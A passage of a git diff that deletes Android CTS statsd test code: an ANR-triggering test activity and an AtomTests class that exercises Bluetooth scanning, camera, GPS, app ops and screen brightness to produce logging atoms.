-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.view.WindowManager;
-
-public class ANRActivity extends Activity {
-    private static final String TAG = "ANRActivity";
-    private static final String ACTION_ANR = "action_anr";
-
-
-    @Override
-    public void onCreate(Bundle bundle) {
-        super.onCreate(bundle);
-
-        registerReceiver(new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                while (true) {
-                  SystemClock.sleep(2);
-                }
-            }
-        }, new IntentFilter(ACTION_ANR));
-
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
-                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
deleted file mode 100644
index 783790d..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ /dev/null
@@ -1,1057 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
-import android.app.ActivityManager;
-import android.app.ActivityManager.RunningServiceInfo;
-import android.app.AlarmManager;
-import android.app.AppOpsManager;
-import android.app.PendingIntent;
-import android.app.blob.BlobStoreManager;
-import android.app.job.JobInfo;
-import android.app.job.JobScheduler;
-import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.le.BluetoothLeScanner;
-import android.bluetooth.le.ScanCallback;
-import android.bluetooth.le.ScanFilter;
-import android.bluetooth.le.ScanResult;
-import android.bluetooth.le.ScanSettings;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.ApplicationInfo;
-import android.hardware.camera2.CameraCharacteristics;
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
-import android.location.GnssStatus;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.media.MediaPlayer;
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.net.cts.util.CtsNetUtils;
-import android.net.wifi.WifiManager;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.ParcelFileDescriptor;
-import android.os.PowerManager;
-import android.os.Process;
-import android.os.SystemClock;
-import android.os.VibrationEffect;
-import android.os.Vibrator;
-import android.provider.Settings;
-import android.text.TextUtils;
-import android.util.ArrayMap;
-import android.util.Log;
-import android.util.StatsEvent;
-import android.util.StatsLog;
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.utils.blob.FakeBlobData;
-import com.google.common.io.BaseEncoding;
-import java.net.HttpURLConnection;
-import java.net.URL;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.BiConsumer;
-import org.junit.Test;
-
-public class AtomTests {
-    private static final String TAG = AtomTests.class.getSimpleName();
-
-    private static final String MY_PACKAGE_NAME = "com.android.server.cts.device.statsd";
-
-    private static final Map<String, Integer> APP_OPS_ENUM_MAP = new ArrayMap<>();
-    static {
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_COARSE_LOCATION, 0);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_FINE_LOCATION, 1);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GPS, 2);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_VIBRATE, 3);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CONTACTS, 4);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CONTACTS, 5);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALL_LOG, 6);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALL_LOG, 7);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALENDAR, 8);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALENDAR, 9);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WIFI_SCAN, 10);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_POST_NOTIFICATION, 11);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NEIGHBORING_CELLS, 12);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CALL_PHONE, 13);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_SMS, 14);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SMS, 15);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_SMS, 16);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_EMERGENCY_BROADCAST, 17);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_MMS, 18);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_WAP_PUSH, 19);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SEND_SMS, 20);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_ICC_SMS, 21);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_ICC_SMS, 22);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SETTINGS, 23);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW, 24);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_NOTIFICATIONS, 25);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CAMERA, 26);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO, 27);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PLAY_AUDIO, 28);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CLIPBOARD, 29);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CLIPBOARD, 30);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_MEDIA_BUTTONS, 31);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_AUDIO_FOCUS, 32);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MASTER_VOLUME, 33);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_VOICE_VOLUME, 34);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_RING_VOLUME, 35);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MEDIA_VOLUME, 36);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ALARM_VOLUME, 37);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_NOTIFICATION_VOLUME, 38);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_BLUETOOTH_VOLUME, 39);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WAKE_LOCK, 40);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_LOCATION, 41);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_HIGH_POWER_LOCATION, 42);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_USAGE_STATS, 43);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MUTE_MICROPHONE, 44);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TOAST_WINDOW, 45);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROJECT_MEDIA, 46);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_VPN, 47);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_WALLPAPER, 48);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_STRUCTURE, 49);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_SCREENSHOT, 50);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_STATE, 51);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ADD_VOICEMAIL, 52);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_SIP, 53);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROCESS_OUTGOING_CALLS, 54);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_FINGERPRINT, 55);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BODY_SENSORS, 56);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CELL_BROADCASTS, 57);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MOCK_LOCATION, 58);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, 59);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, 60);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TURN_SCREEN_ON, 61);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_ACCOUNTS, 62);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_IN_BACKGROUND, 63);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ACCESSIBILITY_VOLUME, 64);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_NUMBERS, 65);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_INSTALL_PACKAGES, 66);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PICTURE_IN_PICTURE, 67);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INSTANT_APP_START_FOREGROUND, 68);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ANSWER_PHONE_CALLS, 69);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_ANY_IN_BACKGROUND, 70);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CHANGE_WIFI_STATE, 71);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_DELETE_PACKAGES, 72);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BIND_ACCESSIBILITY_SERVICE, 73);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCEPT_HANDOVER, 74);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_IPSEC_TUNNELS, 75);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_START_FOREGROUND, 76);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BLUETOOTH_SCAN, 77);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_BIOMETRIC, 78);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVITY_RECOGNITION, 79);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SMS_FINANCIAL_TRANSACTIONS, 80);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_AUDIO, 81);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_AUDIO, 82);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_VIDEO, 83);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, 84);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_IMAGES, 85);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, 86);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LEGACY_STORAGE, 87);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY, 88);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_DEVICE_IDENTIFIERS, 89);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_MEDIA_LOCATION, 90);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_QUERY_ALL_PACKAGES, 91);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_EXTERNAL_STORAGE, 92);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INTERACT_ACROSS_PROFILES, 93);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_PLATFORM_VPN, 94);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LOADER_USAGE_STATS, 95);
-        // Op 96 was deprecated/removed
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_MICROPHONE, 100);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_CAMERA, 101);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_HOTWORD, 102);
-        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
-    }
-
-    @Test
-    public void testAudioState() {
-        // TODO: This should surely be getTargetContext(), here and everywhere, but test first.
-        Context context = InstrumentationRegistry.getContext();
-        MediaPlayer mediaPlayer = MediaPlayer.create(context, R.raw.good);
-        mediaPlayer.start();
-        sleep(2_000);
-        mediaPlayer.stop();
-    }
-
-    @Test
-    public void testBleScanOpportunistic() {
-        ScanSettings scanSettings = new ScanSettings.Builder()
-                .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
-        performBleScan(scanSettings, null,false);
-    }
-
-    @Test
-    public void testBleScanUnoptimized() {
-        ScanSettings scanSettings = new ScanSettings.Builder()
-                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
-        performBleScan(scanSettings, null, false);
-    }
-
-    @Test
-    public void testBleScanResult() {
-        ScanSettings scanSettings = new ScanSettings.Builder()
-                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
-        ScanFilter.Builder scanFilter = new ScanFilter.Builder();
-        performBleScan(scanSettings, Arrays.asList(scanFilter.build()), true);
-    }
-
-    @Test
-    public void testBleScanInterrupted() throws Exception {
-        performBleAction((bluetoothAdapter, bleScanner) -> {
-            ScanSettings scanSettings = new ScanSettings.Builder()
-                    .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
-            ScanCallback scanCallback = new ScanCallback() {
-                @Override
-                public void onScanResult(int callbackType, ScanResult result) {
-                    Log.v(TAG, "called onScanResult");
-                }
-                @Override
-                public void onScanFailed(int errorCode) {
-                    Log.v(TAG, "called onScanFailed");
-                }
-                @Override
-                public void onBatchScanResults(List<ScanResult> results) {
-                    Log.v(TAG, "called onBatchScanResults");
-                }
-            };
-
-            int uid = Process.myUid();
-            int whatAtomId = 9_999;
-
-            // Get the current setting for bluetooth background scanning.
-            // Set to 0 if the setting is not found or an error occurs.
-            int initialBleScanGlobalSetting = Settings.Global.getInt(
-                    InstrumentationRegistry.getTargetContext().getContentResolver(),
-                    Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, 0);
-
-            // Turn off bluetooth background scanning.
-            Settings.Global.putInt(InstrumentationRegistry.getTargetContext().getContentResolver(),
-                    Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, 0);
-
-            // Change state to State.ON.
-            bleScanner.startScan(null, scanSettings, scanCallback);
-            sleep(6_000);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-
-            bluetoothAdapter.disable();
-            sleep(6_000);
-
-            // Trigger State.RESET so that new state is State.OFF.
-            if (!bluetoothAdapter.enable()) {
-                Log.e(TAG, "Could not enable bluetooth to trigger state reset");
-                return;
-            }
-            sleep(6_000); // Wait for Bluetooth to fully turn on.
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-
-            // Set bluetooth background scanning to original setting.
-            Settings.Global.putInt(InstrumentationRegistry.getTargetContext().getContentResolver(),
-                    Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, initialBleScanGlobalSetting);
-        });
-    }
-
-    private static void writeSliceByBleScanStateChangedAtom(int atomId, int firstUid,
-                                                            boolean field2, boolean field3,
-                                                            boolean field4) {
-        final StatsEvent.Builder builder = StatsEvent.newBuilder()
-                .setAtomId(atomId)
-                .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
-                .writeBoolean(field2)
-                .writeBoolean(field3)
-                .writeBoolean(field4)
-                .usePooledBuffer();
-
-        StatsLog.write(builder.build());
-    }
-
-    /**
-     * Set up BluetoothLeScanner and perform the action in the callback.
-     * Restore Bluetooth to original state afterwards.
-     **/
-    private static void performBleAction(BiConsumer<BluetoothAdapter, BluetoothLeScanner> actions) {
-        BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
-        if (bluetoothAdapter == null) {
-            Log.e(TAG, "Device does not support Bluetooth");
-            return;
-        }
-        boolean bluetoothEnabledByTest = false;
-        if (!bluetoothAdapter.isEnabled()) {
-            if (!bluetoothAdapter.enable()) {
-                Log.e(TAG, "Bluetooth is not enabled");
-                return;
-            }
-            sleep(2_000); // Wait for Bluetooth to fully turn on.
-            bluetoothEnabledByTest = true;
-        }
-        BluetoothLeScanner bleScanner = bluetoothAdapter.getBluetoothLeScanner();
-        if (bleScanner == null) {
-            Log.e(TAG, "Cannot access BLE scanner");
-            return;
-        }
-
-        actions.accept(bluetoothAdapter, bleScanner);
-
-        // Restore adapter state
-        if (bluetoothEnabledByTest) {
-            bluetoothAdapter.disable();
-        }
-    }
-
-
-    private static void performBleScan(ScanSettings scanSettings, List<ScanFilter> scanFilters, boolean waitForResult) {
-        performBleAction((bluetoothAdapter, bleScanner) -> {
-            CountDownLatch resultsLatch = new CountDownLatch(1);
-            ScanCallback scanCallback = new ScanCallback() {
-                @Override
-                public void onScanResult(int callbackType, ScanResult result) {
-                    Log.v(TAG, "called onScanResult");
-                    resultsLatch.countDown();
-                }
-                @Override
-                public void onScanFailed(int errorCode) {
-                    Log.v(TAG, "called onScanFailed");
-                }
-                @Override
-                public void onBatchScanResults(List<ScanResult> results) {
-                    Log.v(TAG, "called onBatchScanResults");
-                    resultsLatch.countDown();
-                }
-            };
-
-            bleScanner.startScan(scanFilters, scanSettings, scanCallback);
-            if (waitForResult) {
-                waitForReceiver(InstrumentationRegistry.getContext(), 59_000, resultsLatch, null);
-            } else {
-                sleep(2_000);
-            }
-            bleScanner.stopScan(scanCallback);
-        });
-    }
-
-    @Test
-    public void testCameraState() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        CameraManager cam = context.getSystemService(CameraManager.class);
-        String[] cameraIds = cam.getCameraIdList();
-        if (cameraIds.length == 0) {
-            Log.e(TAG, "No camera found on device");
-            return;
-        }
-
-        CountDownLatch latch = new CountDownLatch(1);
-        final CameraDevice.StateCallback cb = new CameraDevice.StateCallback() {
-            @Override
-            public void onOpened(CameraDevice cd) {
-                Log.i(TAG, "CameraDevice " + cd.getId() + " opened");
-                sleep(2_000);
-                cd.close();
-            }
-            @Override
-            public void onClosed(CameraDevice cd) {
-                latch.countDown();
-                Log.i(TAG, "CameraDevice " + cd.getId() + " closed");
-            }
-            @Override
-            public void onDisconnected(CameraDevice cd) {
-                Log.w(TAG, "CameraDevice  " + cd.getId() + " disconnected");
-            }
-            @Override
-            public void onError(CameraDevice cd, int error) {
-                Log.e(TAG, "CameraDevice " + cd.getId() + "had error " + error);
-            }
-        };
-
-        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
-        handlerThread.start();
-        Looper looper = handlerThread.getLooper();
-        Handler handler = new Handler(looper);
-
-        cam.openCamera(cameraIds[0], cb, handler);
-        waitForReceiver(context, 10_000, latch, null);
-    }
-
-    @Test
-    public void testFlashlight() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        CameraManager cam = context.getSystemService(CameraManager.class);
-        String[] cameraIds = cam.getCameraIdList();
-        boolean foundFlash = false;
-        for (int i = 0; i < cameraIds.length; i++) {
-            String id = cameraIds[i];
-            if(cam.getCameraCharacteristics(id).get(CameraCharacteristics.FLASH_INFO_AVAILABLE)) {
-                cam.setTorchMode(id, true);
-                sleep(500);
-                cam.setTorchMode(id, false);
-                foundFlash = true;
-                break;
-            }
-        }
-        if(!foundFlash) {
-            Log.e(TAG, "No flashlight found on device");
-        }
-    }
-
-    @Test
-    public void testForegroundService() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        // The service goes into foreground and exits shortly
-        Intent intent = new Intent(context, StatsdCtsForegroundService.class);
-        context.startService(intent);
-        sleep(500);
-        context.stopService(intent);
-    }
-
-    @Test
-    public void testForegroundServiceAccessAppOp() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        Intent fgsIntent = new Intent(context, StatsdCtsForegroundService.class);
-        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
-
-        // No foreground service session
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
-        sleep(500);
-
-        // Foreground service session 1
-        context.startService(fgsIntent);
-        while (!checkIfServiceRunning(context, StatsdCtsForegroundService.class.getName())) {
-            sleep(50);
-        }
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_FINE_LOCATION);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
-        startAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
-        startAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
-        sleep(500);
-        context.stopService(fgsIntent);
-
-        // No foreground service session
-        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
-        sleep(500);
-
-        // TODO(b/149098800): Start fgs a second time and log OPSTR_CAMERA again
-    }
-
-    @Test
-    public void testAppOps() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
-
-        String[] opsList = appOpsManager.getOpStrs();
-
-        for (int i = 0; i < opsList.length; i++) {
-            String op = opsList[i];
-            if (TextUtils.isEmpty(op)) {
-                // Operation removed/deprecated
-                continue;
-            }
-            int noteCount = APP_OPS_ENUM_MAP.getOrDefault(op, opsList.length) + 1;
-            for (int j = 0; j < noteCount; j++) {
-                try {
-                    noteAppOp(appOpsManager, opsList[i]);
-                } catch (SecurityException e) {}
-            }
-        }
-    }
-
-    private void noteAppOp(AppOpsManager aom, String opStr) {
-        aom.noteOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
-    }
-
-    private void startAppOp(AppOpsManager aom, String opStr) {
-        aom.startOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
-    }
-
-    /** Check if service is running. */
-    public boolean checkIfServiceRunning(Context context, String serviceName) {
-        ActivityManager manager = context.getSystemService(ActivityManager.class);
-        for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
-            if (serviceName.equals(service.service.getClassName()) && service.foreground) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    @Test
-    public void testGpsScan() {
-        Context context = InstrumentationRegistry.getContext();
-        final LocationManager locManager = context.getSystemService(LocationManager.class);
-        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
-            Log.e(TAG, "GPS provider is not enabled");
-            return;
-        }
-        CountDownLatch latch = new CountDownLatch(1);
-
-        final LocationListener locListener = new LocationListener() {
-            public void onLocationChanged(Location location) {
-                Log.v(TAG, "onLocationChanged: location has been obtained");
-            }
-            public void onProviderDisabled(String provider) {
-                Log.w(TAG, "onProviderDisabled " + provider);
-            }
-            public void onProviderEnabled(String provider) {
-                Log.w(TAG, "onProviderEnabled " + provider);
-            }
-            public void onStatusChanged(String provider, int status, Bundle extras) {
-                Log.w(TAG, "onStatusChanged " + provider + " " + status);
-            }
-        };
-
-        new AsyncTask<Void, Void, Void>() {
-            @Override
-            protected Void doInBackground(Void... params) {
-                Looper.prepare();
-                locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 990, 0,
-                        locListener);
-                sleep(1_000);
-                locManager.removeUpdates(locListener);
-                latch.countDown();
-                return null;
-            }
-        }.execute();
-
-        waitForReceiver(context, 59_000, latch, null);
-    }
-
-    @Test
-    public void testGpsStatus() {
-        Context context = InstrumentationRegistry.getContext();
-        final LocationManager locManager = context.getSystemService(LocationManager.class);
-
-        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
-            Log.e(TAG, "GPS provider is not enabled");
-            return;
-        }
-
-        // Time out set to 85 seconds (5 seconds for sleep and a possible 85 seconds if TTFF takes
-        // max time which would be around 90 seconds.
-        // This is based on similar location cts test timeout values.
-        final int TIMEOUT_IN_MSEC = 85_000;
-        final int SLEEP_TIME_IN_MSEC = 5_000;
-
-        final CountDownLatch mLatchNetwork = new CountDownLatch(1);
-
-        final LocationListener locListener = location -> {
-            Log.v(TAG, "onLocationChanged: location has been obtained");
-            mLatchNetwork.countDown();
-        };
-
-        // fetch the networklocation first to make sure the ttff is not flaky
-        if (locManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
-            Log.i(TAG, "Request Network Location updates.");
-            locManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
-                    0 /* minTime*/,
-                    0 /* minDistance */,
-                    locListener,
-                    Looper.getMainLooper());
-        }
-        waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchNetwork, null);
-
-        // TTFF could take up to 90 seconds, thus we need to wait till TTFF does occur if it does
-        // not occur in the first SLEEP_TIME_IN_MSEC
-        final CountDownLatch mLatchTtff = new CountDownLatch(1);
-
-        GnssStatus.Callback gnssStatusCallback = new GnssStatus.Callback() {
-            @Override
-            public void onStarted() {
-                Log.v(TAG, "Gnss Status Listener Started");
-            }
-
-            @Override
-            public void onStopped() {
-                Log.v(TAG, "Gnss Status Listener Stopped");
-            }
-
-            @Override
-            public void onFirstFix(int ttffMillis) {
-                Log.v(TAG, "Gnss Status Listener Received TTFF");
-                mLatchTtff.countDown();
-            }
-
-            @Override
-            public void onSatelliteStatusChanged(GnssStatus status) {
-                Log.v(TAG, "Gnss Status Listener Received Status Update");
-            }
-        };
-
-        boolean gnssStatusCallbackAdded = locManager.registerGnssStatusCallback(
-                gnssStatusCallback, new Handler(Looper.getMainLooper()));
-        if (!gnssStatusCallbackAdded) {
-            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
-            Log.e(TAG, "Failed to start gnss status callback");
-        }
-
-        locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
-                0,
-                0 /* minDistance */,
-                locListener,
-                Looper.getMainLooper());
-        sleep(SLEEP_TIME_IN_MSEC);
-        waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchTtff, null);
-        locManager.removeUpdates(locListener);
-        locManager.unregisterGnssStatusCallback(gnssStatusCallback);
-    }
-
-    @Test
-    public void testScreenBrightness() {
-        Context context = InstrumentationRegistry.getContext();
-        PowerManager pm = context.getSystemService(PowerManager.class);
-        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK |
-                PowerManager.ACQUIRE_CAUSES_WAKEUP, "StatsdBrightnessTest");
-        wl.acquire();
-        sleep(500);
-
-        setScreenBrightness(47);
-        sleep(500);
-        setScreenBrightness(100);
-        sleep(500);
-        setScreenBrightness(198);
-        sleep(500);
-
-
